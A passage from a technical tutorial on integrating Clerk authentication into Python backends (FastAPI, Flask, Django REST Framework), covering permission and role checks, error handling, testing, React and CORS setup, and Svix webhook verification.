    return result.scalar_one_or_none()
```

The column name is `clerk_id`, matching Clerk's [syncing guide](https://clerk.com/docs/guides/development/webhooks/syncing). Not `clerk_user_id`, and not `external_id` — `external_id` is a distinct Clerk concept for importing third-party user IDs onto the Clerk user object. The `User` model itself is defined in Section 10d next to the webhook sync handler. SQLModel users can write the same thing with identical `Mapped` syntax.

### Role-based and permission-based access control

The two [RBAC](/glossary#role-based-access-control-rbac) patterns worth knowing: custom permissions (in JWT, free) and system-role lookups (Backend API, slower).

**Custom permissions** follow the `org:<feature>:<permission>` dashboard key format (e.g., `org:invoices:create`, `org:reports:read`). That full string is what you check against in code — but it is not what's literally in the session token. v2 session tokens encode permissions [compactly across three claims](https://clerk.com/docs/guides/sessions/session-tokens):

1. `fea` — a top-level claim listing enabled features with scope prefixes, e.g. `"o:dashboard,o:teams"`.
2. `o.per` — a comma-separated list of bare permission names shared across features, e.g. `"manage,read"`.
3. `o.fpm` — a comma-separated list of integers, one per feature in `fea`. Each integer is a bitmask: bit `j` (right-to-left, 1-indexed) indicates whether the permission at index `j` of `o.per` applies to that feature.

Worked example from the [session-tokens guide](https://clerk.com/docs/guides/sessions/session-tokens): if a role has `dashboard:read`, `dashboard:manage`, `teams:read`, the claims are `fea="o:dashboard,o:teams"`, `o.per="manage,read"`, `o.fpm="3,2"`. Bit-decoding `3` = `11` = both `manage` and `read` for `dashboard`. Decoding `2` = `10` = only `read` for `teams`. The reconstructed permission list is `["org:dashboard:manage", "org:dashboard:read", "org:teams:read"]`.

The good news: the Python SDK does this decode for you. `authenticate_request()` calls an internal `_compute_org_permissions()` helper that reads `fea`, `o.per`, and `o.fpm`, reconstructs the full `org:<feature>:<permission>` strings, and writes the result as a plain list at `payload["org_permissions"]`. Membership testing is straightforward:

```python
from typing import Annotated
from clerk_backend_api.security.types import RequestState
from fastapi import Depends, HTTPException

from app.auth import require_auth

def require_permission(permission: str):
    def _check(state: Annotated[RequestState, Depends(require_auth)]) -> RequestState:
        org_permissions = state.payload.get("org_permissions") or []
        if permission not in org_permissions:
            raise HTTPException(
                status_code=403,
                detail=f"missing permission: {permission}",
            )
        return state
    return _check
```

Use it in a route:

```python
@router.post("/invoices")
def create_invoice(
    _: Annotated[RequestState, Depends(require_permission("org:invoices:create"))],
):
    return {"ok": True}
```

> \[!IMPORTANT]
> Do not split `o.per` on commas and compare directly to `org:invoices:create`. `o.per` contains bare names like `manage,read` — the `org:<feature>:` prefix is reconstructed from `fea`/`o.fpm`, not stored in `o.per`. Using the reconstructed `payload["org_permissions"]` list is the correct way to check permissions server-side. If you're curious about the exact decode logic, see [`_compute_org_permissions` in `authenticaterequest.py`](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/authenticaterequest.py), which mirrors the JavaScript SDK's [`buildOrgPermissions`](https://github.com/clerk/javascript/blob/main/packages/shared/src/jwtPayloadParser.ts).

**System roles** live in the `o.rol` claim for the user's active organization, without the `org:` prefix (e.g., `"admin"`, `"member"`). The Python SDK copies that value to `payload["org_role"]` during `authenticate_request()` — see [`_process_payload` in `authenticaterequest.py`](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/authenticaterequest.py). So the role check is local, with no network call:

```python
def require_system_role(role: str):
    """Check role for the user's ACTIVE organization (the one in `o.rol`).

    Pass the role without the `org:` prefix (e.g., `"admin"`, `"member"`) to
    match what Clerk stores in the claim.
    """
    def _check(
        state: Annotated[RequestState, Depends(require_auth)],
    ) -> RequestState:
        if not state.payload.get("org_id"):
            raise HTTPException(status_code=403, detail="no organization context")
        if state.payload.get("org_role") != role:
            raise HTTPException(status_code=403, detail=f"missing role: {role}")
        return state
    return _check
```

Use it in a route:

```python
@router.delete("/api/org/members/{member_id}")
def remove_member(
    member_id: str,
    _: Annotated[RequestState, Depends(require_system_role("admin"))],
):
    ...
```

A caveat: `o.rol` only carries the role for the **active** organization — the one referenced by `o.id`. If the user belongs to multiple organizations and you need to check a specific one other than the active org, or enumerate every membership, fall back to the Backend API:

```python
memberships = clerk.users.get_organization_memberships(user_id=state.payload["sub"])
```

Prefer the local `payload["org_role"]` check whenever you're authorizing against the active org — it's faster and doesn't depend on the Backend API being reachable.

> \[!NOTE]
> **System permissions** (`org:sys_memberships:manage`, `org:sys_profile:manage`, etc.) are *not* serialized into the token. If you need to authorize against a system permission on the server, create a custom permission in the Dashboard, assign it to the system role you want to check, and then look for it in `payload["org_permissions"]`. Source: [roles and permissions guide](https://clerk.com/docs/guides/organizations/control-access/roles-and-permissions) — "System Permissions aren't included in session claims."

Source: [roles and permissions](https://clerk.com/docs/guides/organizations/control-access/roles-and-permissions), [session token reference](https://clerk.com/docs/guides/sessions/session-tokens).

### Handling authentication errors gracefully

When `is_signed_in` is `False`, `state.reason` carries a machine-readable code. The [security/types.py](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/types.py) source has the full enum:

1. `SESSION_TOKEN_MISSING` — no token on the request
2. `TOKEN_EXPIRED` — expired JWT
3. `TOKEN_INVALID_SIGNATURE` — bad signature
4. `TOKEN_INVALID_AUTHORIZED_PARTIES` — `azp` not in your allow-list
5. `TOKEN_INVALID_ISSUER` — wrong Clerk instance
6. `TOKEN_TYPE_NOT_SUPPORTED` — got an M2M token on a session-only endpoint

Map them consistently. A custom exception handler for a uniform JSON shape:

```python
from fastapi import Request
from fastapi.responses import JSONResponse

from app.main import app

@app.exception_handler(HTTPException)
def http_exception_handler(request: Request, exc: HTTPException):
    return JSONResponse(
        status_code=exc.status_code,
        content={"error": "unauthorized" if exc.status_code == 401 else "forbidden",
                 "reason": exc.detail},
        headers=exc.headers or {},
    )
```

A few guardrails to keep in mind. Always include `WWW-Authenticate: Bearer` on 401s — it's [RFC 6750](https://datatracker.ietf.org/doc/html/rfc6750) compliance and some clients expect it. Never log the raw `Authorization` header or the token itself. Log the rejection reason, the request path, and (if known) the user ID. That's enough to debug without creating a [CWE-532](https://cwe.mitre.org/data/definitions/532.html) "Insertion of Sensitive Information into Log File" vulnerability.

### Testing your FastAPI endpoints

The sync `TestClient` still works and is the simplest default:

```python
import pytest
from fastapi.testclient import TestClient

from app.auth import require_auth
from app.main import app

def _fake_auth():
    class FakeState:
        is_signed_in = True
        payload = {"sub": "user_fake123", "sid": "sess_fake"}
        reason = None
    return FakeState()

@pytest.fixture(autouse=True)
def _override_auth():
    app.dependency_overrides[require_auth] = _fake_auth
    yield
    app.dependency_overrides = {}

def test_me_endpoint():
    client = TestClient(app)
    response = client.get("/api/me")
    assert response.status_code == 200
    assert response.json() == {"user_id": "user_fake123", "session_id": "sess_fake"}

def test_unauthenticated_returns_401():
    app.dependency_overrides = {}
    client = TestClient(app)
    response = client.get("/api/me")
    assert response.status_code == 401
```

Overriding `require_auth` at the dependency level (as above) is cleaner than patching `authenticate_request` globally — it leaves the rest of the chain (CORS, middleware, validation) real.

For async tests that need to `await` something (async DB sessions, an external API), switch to `httpx.AsyncClient` with `ASGITransport`:

```python
import pytest
from httpx import ASGITransport, AsyncClient

from app.main import app

@pytest.mark.asyncio
async def test_me_async():
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://test") as ac:
        response = await ac.get("/api/me")
    assert response.status_code == 200
```

Add [`pytest-asyncio`](https://pypi.org/project/pytest-asyncio/) (1.3.0+ on PyPI, 2025-11-10) and put this in `pyproject.toml`:

```toml
[tool.pytest_asyncio]
asyncio_mode = "auto"
```

With `asyncio_mode = "auto"`, every `async def test_*` function is auto-marked — you don't have to sprinkle `@pytest.mark.asyncio` on each one. `@pytest.mark.anyio` is FastAPI's own preferred spelling (it can run the same test under both asyncio and trio) and is equivalent for an asyncio-only project.

One gotcha: `AsyncClient + ASGITransport` does *not* trigger FastAPI's lifespan events (startup and shutdown). If your tests depend on startup hooks (database connection pools, etc.), wrap with [`asgi-lifespan`](https://pypi.org/project/asgi-lifespan/)'s `LifespanManager`:

```python
from asgi_lifespan import LifespanManager

@pytest.mark.asyncio
async def test_with_lifespan():
    async with LifespanManager(app):
        async with AsyncClient(transport=ASGITransport(app=app), base_url="http://test") as ac:
            response = await ac.get("/api/me")
```

Don't over-mock. If you patch the entire auth chain, you'll miss real token parsing bugs. For integration tests against a real Clerk instance, sign in via a dev-instance frontend and grab a session token with `getToken()`. Sources: [FastAPI testing dependencies](https://fastapi.tiangolo.com/advanced/testing-dependencies/), [FastAPI async tests](https://fastapi.tiangolo.com/advanced/async-tests/), [pytest-asyncio concepts](https://pytest-asyncio.readthedocs.io/en/stable/concepts.html).

## Adding Clerk authentication to Flask

Parallel section to FastAPI. Flask is simpler, less opinionated, and the integration is a decorator instead of a dependency. If you're coming from FastAPI, the patterns map one-to-one; only the syntax changes.

### Project setup from scratch

```bash
uv init python-flask-auth
cd python-flask-auth
uv add flask clerk-backend-api python-dotenv
```

Minimal `app/__init__.py`:

```python
import os
from flask import Flask
from dotenv import load_dotenv

load_dotenv()


def env_csv(key: str, default: list[str] | None = None) -> list[str]:
    raw = os.environ.get(key)
    if not raw:
        return default or []
    return [p.strip() for p in raw.split(",") if p.strip()]


def create_app() -> Flask:
    app = Flask(__name__)
    app.config.update(
        CLERK_SECRET_KEY=os.environ["CLERK_SECRET_KEY"],
        CLERK_JWT_KEY=os.environ.get("CLERK_JWT_KEY"),
        CLERK_AUTHORIZED_PARTIES=env_csv("CLERK_AUTHORIZED_PARTIES"),
        CLERK_WEBHOOK_SIGNING_SECRET=os.environ.get("CLERK_WEBHOOK_SIGNING_SECRET"),
    )

    @app.get("/health")
    def health():
        return {"status": "ok"}

    from app.routes.protected import bp as protected_bp
    app.register_blueprint(protected_bp)

    return app
```

Run the dev server:

```bash
uv run flask --app app run --debug --port 5000
```

For production: `gunicorn "app:create_app()" -w 4 -b 0.0.0.0:8000`. The `-w $((2*$(nproc)+1))` formula from the Gunicorn docs is a reasonable default for I/O-bound Python apps. Source: [Flask testing docs](https://flask.palletsprojects.com/en/stable/testing/).

### The Flask auth decorator

Flask's canonical pattern for cross-cutting concerns is a decorator. Build it once, use it everywhere.

Create `app/auth.py`:

```python
from functools import wraps
from clerk_backend_api import AuthenticateRequestOptions, authenticate_request
from flask import abort, current_app, g, request


def clerk_required(view):
    @wraps(view)
    def wrapper(*args, **kwargs):
        state = authenticate_request(
            request,
            AuthenticateRequestOptions(
                secret_key=current_app.config["CLERK_SECRET_KEY"],
                jwt_key=current_app.config.get("CLERK_JWT_KEY"),
                authorized_parties=current_app.config["CLERK_AUTHORIZED_PARTIES"],
                accepts_token=["session_token"],
            ),
        )
        if not state.is_signed_in:
            abort(401, description=state.reason or "unauthorized")
        g.auth_state = state
        g.user_id = state.payload["sub"]
        return view(*args, **kwargs)
    return wrapper
```

A few Flask-specific decisions worth calling out.

**Flask's `request` satisfies `Requestish`.** Same as FastAPI, you pass it directly — no wrapping. Flask's `EnvironHeaders` is a case-insensitive mapping; Clerk's [security/types.py](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/types.py) just needs `headers: Mapping[str, str]`.

**`g` is Flask's per-request namespace.** It's thread-safe (backed by `contextvars`), scoped to a single request, and the idiomatic place to stash data that multiple handlers need. We put the full state on `g.auth_state` and the user ID on `g.user_id` as a shortcut.

**`functools.wraps`.** Without it, the decorated function loses its name and Flask's routing breaks (endpoints become `wrapper`, routes collide). Always wrap.

**`env_csv` in `create_app`.** Flask has no built-in type coercion, so we convert the `CLERK_AUTHORIZED_PARTIES` string to a list once at startup. The naive `os.environ.get("CLERK_AUTHORIZED_PARTIES", "").split(",")` returns `[""]` on an unset var — which doesn't actually fail the Clerk `azp` check (the empty list would), but it leaks an empty string into the comparison and makes debugging harder. Trim and filter.

### Alternative: `before_request` global middleware

When almost every route is protected, a decorator on every view feels noisy. Global middleware via `before_request` is cleaner.

```python
from flask import g, request, abort
from clerk_backend_api import AuthenticateRequestOptions, authenticate_request


PUBLIC_ENDPOINTS = {"static", "health", "clerk_webhook"}


def register_auth_middleware(app):
    @app.before_request
    def _authenticate():
        if request.endpoint in PUBLIC_ENDPOINTS:
            return None
        state = authenticate_request(
            request,
            AuthenticateRequestOptions(
                secret_key=app.config["CLERK_SECRET_KEY"],
                jwt_key=app.config.get("CLERK_JWT_KEY"),
                authorized_parties=app.config["CLERK_AUTHORIZED_PARTIES"],
                accepts_token=["session_token"],
            ),
        )
        if not state.is_signed_in:
            abort(401, description=state.reason or "unauthorized")
        g.auth_state = state
        g.user_id = state.payload["sub"]
```

Call `register_auth_middleware(app)` inside `create_app()`. The allow-list uses `request.endpoint` (the Flask route name, e.g. `health`) rather than `request.path` (`/health`) because endpoint names are more stable when you add prefixes or blueprints.

Per-route decorator vs. global middleware is a tradeoff. Prefer the decorator if most routes are public. Prefer global middleware if most routes are protected and you want auth-by-default. Don't mix both in the same app — it becomes hard to reason about which path ran which check.

### Protecting different types of endpoints

Create `app/routes/protected.py`:

```python
from flask import Blueprint, g, jsonify

from app.auth import clerk_required, require_permission

bp = Blueprint("protected", __name__, url_prefix="/api")


@bp.get("/public/posts")
def public_posts():
    return jsonify({"posts": [{"id": 1, "title": "Hello, world"}]})


@bp.get("/me")
@clerk_required
def me():
    return jsonify({"user_id": g.user_id})


@bp.get("/admin/users")
@clerk_required
@require_permission("org:admin:manage")
def list_admin_users():
    return jsonify({"users": []})
```

Decorator order matters. Flask applies decorators bottom-up, so the route registration is outermost (`@bp.get`), then `@clerk_required`, then `@require_permission`. Reading top-down: the route registers the view, auth runs next, permission runs last — which is what you want. If you flipped `@clerk_required` and `@require_permission`, the permission check would run against an uninitialized `g.auth_state` and crash.

### Accessing user context inside view functions

`g.user_id` is already set. For profile data, call `sdk.users.get()` via a cached helper:

```python
from functools import cache
from clerk_backend_api import Clerk
from flask import current_app, g


@cache
def _sdk() -> Clerk:
    return Clerk(bearer_auth=current_app.config["CLERK_SECRET_KEY"])


def current_user():
    if "_current_user" not in g:
        g._current_user = _sdk().users.get(user_id=g.user_id)
    return g._current_user
```

This gives you a `current_user()` API similar in feel to what Flask-Login developers are used to, but pointed at Clerk.

**Bridging to your database.** Once the decorator has verified the token, `g.user_id` is the Clerk user ID you join against. A SQLAlchemy 2.0 sync lookup (works with Flask-SQLAlchemy 3.x or plain SQLAlchemy):

```python
from sqlalchemy import select
from app.extensions import db
from app.models import User

@bp.get("/me/subscription")
@clerk_required
def my_subscription():
    user = db.session.scalar(select(User).where(User.clerk_id == g.user_id))
    if not user:
        return {"subscription": "free"}
    return {"subscription": user.subscription_tier}
```

If you're on Flask-SQLAlchemy 2.x, `User.query.filter_by(clerk_id=g.user_id).first()` works, but the 2.0 `select()` style matches what upstream SQLAlchemy will support going forward. Column name is `clerk_id`, per Clerk's [syncing guide](https://clerk.com/docs/guides/development/webhooks/syncing). The full `User` model is in Section 10d.

### RBAC and permission checks

Same pattern as FastAPI — read the decoded `payload["org_permissions"]` list that `authenticate_request()` populates from the v2 `fea` / `o.per` / `o.fpm` claims:

```python
from functools import wraps
from flask import g, abort


def require_permission(permission: str):
    def decorator(view):
        @wraps(view)
        def wrapper(*args, **kwargs):
            org_permissions = g.auth_state.payload.get("org_permissions") or []
            if permission not in org_permissions:
                abort(403, description=f"missing permission: {permission}")
            return view(*args, **kwargs)
        return wrapper
    return decorator
```

For system-role checks, read `payload["org_role"]` — same local check as FastAPI. The Python SDK populates it from the v2 `o.rol` claim during `authenticate_request()`, so no Backend API call is needed for the active organization:

```python
def require_system_role(role: str):
    """Pass `role` without the `org:` prefix (e.g., `"admin"`)."""
    def decorator(view):
        @wraps(view)
        def wrapper(*args, **kwargs):
            payload = g.auth_state.payload
            if not payload.get("org_id"):
                abort(403, description="no organization context")
            if payload.get("org_role") != role:
                abort(403, description=f"missing role: {role}")
            return view(*args, **kwargs)
        return wrapper
    return decorator
```

If you need to enumerate every organization the user belongs to (not just the active one), or check a role in a non-active organization, you still fall back to `_sdk().users.get_organization_memberships(user_id=g.user_id)` — that's the only case where a Backend API call is required.

### Error handling for APIs

Flask's default 401 renders HTML. For a JSON API, register a handler:

```python
from flask import jsonify
from werkzeug.exceptions import HTTPException


def register_error_handlers(app):
    @app.errorhandler(HTTPException)
    def _json_errors(exc: HTTPException):
        return jsonify({
            "error": "unauthorized" if exc.code == 401 else
                     "forbidden" if exc.code == 403 else
                     exc.name.lower().replace(" ", "_"),
            "reason": exc.description,
        }), exc.code
```

Register this inside `create_app()`. Same error shape as the FastAPI example, so clients can code against a consistent contract regardless of which Python framework your team landed on.

### Testing Flask endpoints

Flask's [`test_client()`](https://flask.palletsprojects.com/en/stable/testing/) is the idiomatic path. The key design decision: use **two fixtures**, one that exercises the real `clerk_required` decorator (for 401 tests) and one that injects a fake authenticated user (for happy-path tests). The common tempting shortcut — `monkeypatch.setattr("app.auth.clerk_required", ...)` — does *not* work, because routes captured the original decorator reference at import time and pytest's monkeypatch can't retroactively rebind those references.

The cleanest pattern makes `clerk_required` test-aware via a config flag, and injects the fake user with `@app.before_request`. Update `app/auth.py` to honor the flag:

```python
from flask import current_app, g, request
from functools import wraps

def clerk_required(view):
    @wraps(view)
    def wrapper(*args, **kwargs):
        if current_app.config.get("TESTING_AUTH") and hasattr(g, "user_id"):
            return view(*args, **kwargs)  # trust before_request-injected g
        # ...real authenticate_request() path from Section 7b...
    return wrapper
```

Then in `tests/conftest.py`:

```python
import pytest
from flask import g

from app import create_app


@pytest.fixture
def app():
    """Real app with the real clerk_required decorator wired up."""
    app = create_app()
    app.config.update(TESTING=True)
    return app


@pytest.fixture
def client(app):
    """Anonymous client — no auth injected. Real decorator runs and returns 401."""
    with app.test_client() as c:
        yield c


@pytest.fixture
def authenticated_client(app):
    """Client with a fake authenticated user injected via before_request."""
    app.config["TESTING_AUTH"] = True

    @app.before_request
    def _inject_fake_auth():
        g.auth_state = type("S", (), {"payload": {"sub": "user_fake"}})()
        g.user_id = "user_fake"

    with app.test_client() as c:
        yield c
```

Now each test picks the fixture that matches the path it wants to exercise:

```python
def test_me_returns_user_id(authenticated_client):
    response = authenticated_client.get("/api/me")
    assert response.status_code == 200
    assert response.get_json() == {"user_id": "user_fake"}


def test_unauthenticated_returns_401(client):
    response = client.get("/api/me")
    assert response.status_code == 401
    assert response.get_json()["error"] == "unauthorized"
```

`client` runs the real decorator (no bypass), so the 401 assertion actually exercises `authenticate_request()`. `authenticated_client` sets `TESTING_AUTH=True` and populates `g` — the decorator short-circuits cleanly, and because the `app` fixture is function-scoped, the hook never leaks across tests.

For integration tests against a real Clerk dev instance, use a session token from a browser session: sign in via a local frontend, call `window.Clerk.session.getToken()` in the browser console, then use that token in `client.get('/api/me', headers={'Authorization': f'Bearer {token}'})`.

## Brief: using Clerk with Django / DRF

Clerk doesn't ship a first-party Django package in 2026. The [`clerk/django-example`](https://github.com/clerk/django-example) repository exists as a reference but is archived. Community packages (`clerk-django` 1.0.3, `django-clerk` 0.1.15) haven't seen updates since 2024 — don't build on them.

The idiomatic Django integration uses Django REST Framework's [`BaseAuthentication`](https://www.django-rest-framework.org/api-guide/authentication/) class. DRF's contract is that `authenticate()` returns a `(user, auth)` two-tuple, and the `user` object only has to expose `is_authenticated = True` to satisfy `IsAuthenticated` and related permissions. That lets us skip the Django user model entirely — Clerk owns the directory, and a lightweight `ClerkUser` stub is enough for request authorization.

```python
from dataclasses import dataclass

from clerk_backend_api import AuthenticateRequestOptions, authenticate_request
from django.conf import settings
from rest_framework.authentication import BaseAuthentication


@dataclass
class ClerkUser:
    """Minimal `request.user` for Clerk-authenticated requests.

    Clerk owns the user directory; this object exposes just enough for
    DRF's `IsAuthenticated` permission. If the app also maintains a
    local User row (via Clerk webhooks), look it up by `id` — the Clerk
    `sub` — in the view or a thin helper.
    """

    id: str
    payload: dict

    is_authenticated: bool = True
    is_anonymous: bool = False
    is_active: bool = True

    def __str__(self) -> str:
        return self.id


class ClerkAuthentication(BaseAuthentication):
    def authenticate(self, request):
        state = authenticate_request(
            request,
            AuthenticateRequestOptions(
                secret_key=settings.CLERK_SECRET_KEY,
                jwt_key=settings.CLERK_JWT_KEY,
                authorized_parties=settings.CLERK_AUTHORIZED_PARTIES,
                accepts_token=["session_token"],
            ),
        )
        if not state.is_signed_in:
            return None
        user = ClerkUser(id=state.payload["sub"], payload=state.payload)
        return (user, state)

    def authenticate_header(self, request):
        return "Bearer"
```

If you need to join request data against local rows (profiles, subscriptions, app-specific fields), sync users via Clerk webhooks and look up the local record by the Clerk ID exposed as `request.user.id`. See [Sync Clerk data to your application with webhooks](https://clerk.com/docs/guides/development/webhooks/syncing). Clerk's syncing guide explicitly recommends skipping a local user table when you don't need one: *"If you can access the necessary data directly from the Clerk session token, you can achieve strong consistency while avoiding the overhead of maintaining a separate user table."*

Register it in `settings.py`:

```python
REST_FRAMEWORK = {
    "DEFAULT_AUTHENTICATION_CLASSES": [
        "yourapp.auth.ClerkAuthentication",
    ],
}
```

Permission checks on a `ViewSet`:

```python
from rest_framework.permissions import BasePermission


class HasClerkPermission(BasePermission):
    def __init__(self, permission: str):
        self.permission = permission

    def has_permission(self, request, view):
        state = request.auth  # the RequestState returned by authenticate()
        org_permissions = state.payload.get("org_permissions") or []
        return self.permission in org_permissions
```

For plain Django (not DRF), subclass `MiddlewareMixin` and populate `request.user` from the authenticated state inside `process_request`. Docs: [DRF authentication](https://www.django-rest-framework.org/api-guide/authentication/).

## Integrating with a React frontend

Python doesn't render sign-in UI. Something has to. The most common frontend pairing with a Python backend is React (or Next.js with React under the hood). Here's the handshake.

### Minimal React setup

```bash
npm install @clerk/clerk-react
```

Wrap your app:

```tsx
import { ClerkProvider, SignedIn, SignedOut, SignIn, UserButton } from '@clerk/clerk-react'

const publishableKey = import.meta.env.VITE_CLERK_PUBLISHABLE_KEY

export default function App() {
  return (
    <ClerkProvider publishableKey={publishableKey}>
      <SignedOut>
        <SignIn />
      </SignedOut>
      <SignedIn>
        <UserButton />
        <ProtectedPage />
      </SignedIn>
    </ClerkProvider>
  )
}
```

That's the whole frontend prerequisite. Full setup: [Clerk React quickstart](/docs/react/getting-started/quickstart).

### Calling your Python API from React

The pattern that does the work:

```tsx
import { useAuth } from '@clerk/clerk-react'

function ProtectedPage() {
  const { getToken } = useAuth()

  async function fetchMe() {
    const token = await getToken()
    const res = await fetch('http://localhost:8000/api/me', {
      headers: { Authorization: `Bearer ${token}` },
    })
    return res.json()
  }

  return <button onClick={fetchMe}>Load profile</button>
}
```

`useAuth().getToken()` returns the short-lived (60-second) session JWT. The SDK auto-refreshes roughly every 50 seconds, so a long-lived page stays authenticated as long as the Clerk session is valid. Force a fresh token with `getToken({ skipCache: true })` if you're debugging expiry behavior.

### CORS on the Python side

If your frontend and Python backend live on different origins (`localhost:3000` and `localhost:8000` during development, or `app.example.com` and `api.example.com` in production), [CORS](https://fastapi.tiangolo.com/tutorial/cors/) has to allow the request.

FastAPI:

```python
from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["http://localhost:3000", "https://yourapp.com"],
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)
```

Flask:

```python
from flask_cors import CORS

CORS(
    app,
    resources={r"/api/*": {"origins": ["http://localhost:3000", "https://yourapp.com"]}},
    supports_credentials=True,
)
```

The gotcha in both frameworks: if you set `allow_credentials=True` (FastAPI) or `supports_credentials=True` (Flask), you cannot use `"*"` for origins. The browser rejects the response. List the origins explicitly, or don't use credentials. For bearer-token auth (`Authorization: Bearer ...`), you technically don't need credentials mode at all — that's only for cookies.

Same origins you list in `CORS_ORIGINS` should also appear in `CLERK_AUTHORIZED_PARTIES`. The two checks serve different layers (CORS protects the browser; `azp` protects the token), but they have to be consistent or requests fail.

## Advanced Clerk SDK features for Python backends

Once the basic auth loop works, these are the SDK corners most teams end up in.

### User metadata access

Clerk users have three metadata buckets:

1. `public_metadata` — readable from frontend and backend. Use for feature flags, subscription tiers, anything safe to ship to the browser.
2. `unsafe_metadata` — writable from the frontend SDK. Use for user-controlled preferences.
3. `private_metadata` — backend-only. Use for sensitive flags, internal IDs, things you don't want the user to see or change.

Reading and updating:

```python
clerk = Clerk(bearer_auth=os.environ["CLERK_SECRET_KEY"])

user = clerk.users.get(user_id="user_xxx")
print(user.public_metadata)  # {"subscription_tier": "pro"}

clerk.users.update(
    user_id="user_xxx",
    public_metadata={"subscription_tier": "enterprise"},
)
```

Common use case: Stripe webhook handler updates `public_metadata.subscription_tier` after a successful checkout. Frontend reads it from `useUser().user.publicMetadata` and gates premium features accordingly. No separate database needed for this data.

### Session management

List active sessions for a user, revoke one, or revoke all. "Sign out everywhere" is a three-line operation:

```python
sessions = clerk.sessions.list(user_id="user_xxx")
for session in sessions.data:
    if session.status == "active":
        clerk.sessions.revoke(session_id=session.id)
```

Revoking a session invalidates the refresh token; the user's browser will fail to refresh and be signed out on the next page load. The async equivalent uses `clerk.sessions.list_async(...)` on the same `Clerk` instance.

### Organizations and team features

Clerk [organizations](/glossary#organizations) give you B2B [multi-tenancy](/glossary/multi-tenancy) without rolling your own. The Backend API mirrors the frontend SDK:

```python
# Create an org
org = clerk.organizations.create(name="Acme Inc", slug="acme")

# List a user's orgs
memberships = clerk.users.get_organization_memberships(user_id="user_xxx")

# Invite a member
clerk.organization_invitations.create(
    organization_id=org.id,
    email_address="teammate@example.com",
    role="org:admin",
)
```

Roles and permissions management via Backend API shipped on [2025-11-24](https://clerk.com/changelog/2025-11-24-organization-roles-and-permission-bapi-management). You can now create custom roles and permissions programmatically (e.g., during org provisioning) instead of only via the Dashboard:

```python
role = clerk.organization_roles.create(
    instance_id="ins_xxx",  # your Clerk instance
    name="Analyst",
    key="org:analyst",
    description="Read-only access to reports",
)
```

### Webhook handling in Python

[Webhooks](/glossary#webhook) are how Clerk tells your Python backend about user events — `user.created`, `user.updated`, `user.deleted`, organization events, role changes. Sync them into your database, trigger emails, update analytics, whatever.

Clerk delivers webhooks via [Svix](https://www.svix.com/). You verify the signature with Svix's Python SDK.

```bash
uv add svix
```

FastAPI handler:

```python
from fastapi import APIRouter, HTTPException, Request
from svix.webhooks import Webhook, WebhookVerificationError

from app.config import get_settings

router = APIRouter()

@router.post("/webhooks/clerk")
async def clerk_webhook(request: Request):
    body = await request.body()
    headers = dict(request.headers)
    settings = get_settings()
    try:
        event = Webhook(settings.clerk_webhook_signing_secret).verify(body, headers)
    except WebhookVerificationError:
        raise HTTPException(status_code=400, detail="invalid signature")
    event_type = event["type"]
    data = event["data"]
    if event_type == "user.created":
        await handle_user_created(data)
    elif event_type == "user.deleted":
        await handle_user_deleted(data["id"])
    return {"ok": True}
```

Flask handler — same shape, different framework primitives:

```python
from flask import Blueprint, abort, current_app, request
from svix.webhooks import Webhook, WebhookVerificationError

bp = Blueprint("webhooks", __name__)


@bp.post("/webhooks/clerk")
def clerk_webhook():
    body = request.get_data()
    headers = dict(request.headers)
    try:
        event = Webhook(
            current_app.config["CLERK_WEBHOOK_SIGNING_SECRET"]
        ).verify(body, headers)
    except WebhookVerificationError:
        abort(400, description="invalid signature")
    if event["type"] == "user.created":
        handle_user_created(event["data"])
    return {"ok": True}
```

A few details to get right the first time.

**Use the raw body, not parsed JSON.** Signature verification is an HMAC over the raw bytes. If FastAPI or Flask has already parsed the JSON, the HMAC won't match. `await request.body()` (FastAPI) and `request.get_data()` (Flask) both return raw bytes.

**Required headers.** Svix's `Webhook.verify()` needs `svix-id`, `svix-timestamp`, and `svix-signature`. Clerk also sends the standardized `webhook-id`, `webhook-timestamp`, `webhook-signature` aliases; Svix accepts either. All three headers are always present — they're never optional.

**Casing is handled.** The Svix Python SDK lowercases headers on entry (see [svix/webhooks.py](https://github.com/svix/svix-webhooks/blob/main/python/svix/webhooks.py) line 15). FastAPI's `Request.headers` yields lowercase keys already; Flask's `EnvironHeaders` yields HTTP-canonical casing (`Svix-Id`) that Svix lowercases immediately. Either way, `dict(request.headers)` is safe to pass in.

**Reverse-proxy gotcha.** If your webhook endpoint sits behind Nginx, Cloudflare, or an API gateway, make sure the `svix-*` (or `webhook-*`) headers pass through untouched. Some WAFs strip unrecognized headers. If `Webhook.verify()` throws `WebhookHeadersError`, log the header keys (not values) to confirm the proxy isn't dropping them.

**Replay prevention.** Svix ships with a [built-in 5-minute timestamp window](https://www.svix.com/resources/webhook-best-practices/security/). Requests older than that fail verification automatically.

**Idempotency.** Persist processed `svix-id` values for about 24 hours; reject duplicates. Svix guarantees at-least-once delivery, so you will see the same event twice occasionally.

**The webhook endpoint must bypass auth.** Don't put `@clerk_required` or global auth middleware in front of it. Svix signs with a different secret than session tokens; `authenticate_request()` on the same request would reject it.

**Store Clerk's `id` as a foreign key, not a primary key.** Keep your own integer primary keys; make `clerk_id` a unique, indexed, non-null string column. This is what Clerk's [syncing guide](https://clerk.com/docs/guides/development/webhooks/syncing) recommends.

A minimal SQLAlchemy 2.0 `User` model to back the webhook handler:

```python
from sqlalchemy import String
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column


class Base(DeclarativeBase):
    pass


class User(Base):
    __tablename__ = "users"
    id: Mapped[int] = mapped_column(primary_key=True)
    clerk_id: Mapped[str] = mapped_column(String(255), unique=True, index=True)
    email: Mapped[str | None] = mapped_column(String(320))
    subscription_tier: Mapped[str] = mapped_column(String(32), default="free")
```

